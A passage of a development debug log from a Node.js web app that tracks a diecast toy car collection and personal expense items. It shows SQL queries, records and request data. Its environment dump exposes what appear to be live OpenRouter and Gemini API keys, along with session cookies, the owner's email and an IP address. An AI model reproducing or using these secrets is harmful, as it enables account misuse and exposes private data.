      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T11:24:05.421Z server-connect:router Serving templateView /diecast
2026-02-04T11:24:05.422Z server-connect:app Executing action step identify
2026-02-04T11:24:05.422Z server-connect:app options: { provider: 'security' }
2026-02-04T11:24:05.422Z server-connect:output identity: 1
2026-02-04T11:24:05.422Z server-connect:app Executing action step restrict
2026-02-04T11:24:05.422Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T11:24:05.422Z server-connect:output restrict: undefined
2026-02-04T11:24:05.422Z server-connect:router Render template layouts/main
2026-02-04T11:24:05.422Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { manufacturer: '72' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'manufacturer=72',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-04T11:24:06.314Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T11:24:06.314Z server-connect:app Executing action step identify
2026-02-04T11:24:06.314Z server-connect:app options: { provider: 'security' }
2026-02-04T11:24:06.314Z server-connect:output identity: 1
2026-02-04T11:24:06.314Z server-connect:app Executing action step restrict
2026-02-04T11:24:06.314Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:24:06.315Z server-connect:output restrict: undefined
2026-02-04T11:24:06.315Z server-connect:app Executing action step select
2026-02-04T11:24:06.315Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T11:24:06.321Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T11:24:06.325Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T11:24:06.326Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T11:24:06.327Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T11:24:06.327Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:24:06.327Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T11:24:06.328Z server-connect:app Executing action step identify
2026-02-04T11:24:06.328Z server-connect:app options: { provider: 'security' }
2026-02-04T11:24:06.328Z server-connect:output identity: 1
2026-02-04T11:24:06.328Z server-connect:app Executing action step restrict
2026-02-04T11:24:06.328Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:24:06.329Z server-connect:app Executing action step identify
2026-02-04T11:24:06.329Z server-connect:app options: { provider: 'security' }
2026-02-04T11:24:06.329Z server-connect:output identity: 1
2026-02-04T11:24:06.329Z server-connect:app Executing action step restrict
2026-02-04T11:24:06.329Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:24:06.329Z server-connect:app Executing action step identify
2026-02-04T11:24:06.329Z server-connect:app options: { provider: 'security' }
2026-02-04T11:24:06.329Z server-connect:output identity: 1
2026-02-04T11:24:06.329Z server-connect:app Executing action step restrict
2026-02-04T11:24:06.329Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:24:06.330Z server-connect:output restrict: undefined
2026-02-04T11:24:06.330Z server-connect:app Executing action step single
2026-02-04T11:24:06.330Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T11:24:06.330Z server-connect:app Executing action step identify
2026-02-04T11:24:06.330Z server-connect:app options: { provider: 'security' }
2026-02-04T11:24:06.330Z server-connect:output identity: 1
2026-02-04T11:24:06.330Z server-connect:app Executing action step restrict
2026-02-04T11:24:06.330Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:24:06.330Z server-connect:output restrict: undefined
2026-02-04T11:24:06.330Z server-connect:app Executing action step select
2026-02-04T11:24:06.330Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T11:24:06.331Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T11:24:06.331Z server-connect:app Executing action step identify
2026-02-04T11:24:06.331Z server-connect:app options: { provider: 'security' }
2026-02-04T11:24:06.331Z server-connect:output identity: 1
2026-02-04T11:24:06.331Z server-connect:app Executing action step restrict
2026-02-04T11:24:06.331Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:24:06.331Z server-connect:output restrict: undefined
2026-02-04T11:24:06.331Z server-connect:app Executing action step select
2026-02-04T11:24:06.331Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T11:24:06.332Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T11:24:06.332Z server-connect:output restrict: undefined
2026-02-04T11:24:06.332Z server-connect:app Executing action step paged
2026-02-04T11:24:06.332Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:24:06.333Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T11:24:06.333Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-04T11:24:06.334Z server-connect:output restrict: undefined
2026-02-04T11:24:06.334Z server-connect:app Executing action step select
2026-02-04T11:24:06.334Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T11:24:06.335Z server-connect:app Executing action step identify
2026-02-04T11:24:06.335Z server-connect:app options: { provider: 'security' }
2026-02-04T11:24:06.335Z server-connect:output identity: 1
2026-02-04T11:24:06.335Z server-connect:app Executing action step restrict
2026-02-04T11:24:06.335Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:24:06.336Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 }
]
2026-02-04T11:24:06.336Z server-connect:output restrict: undefined
2026-02-04T11:24:06.337Z server-connect:app Executing action step select
2026-02-04T11:24:06.337Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T11:24:06.337Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 39,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
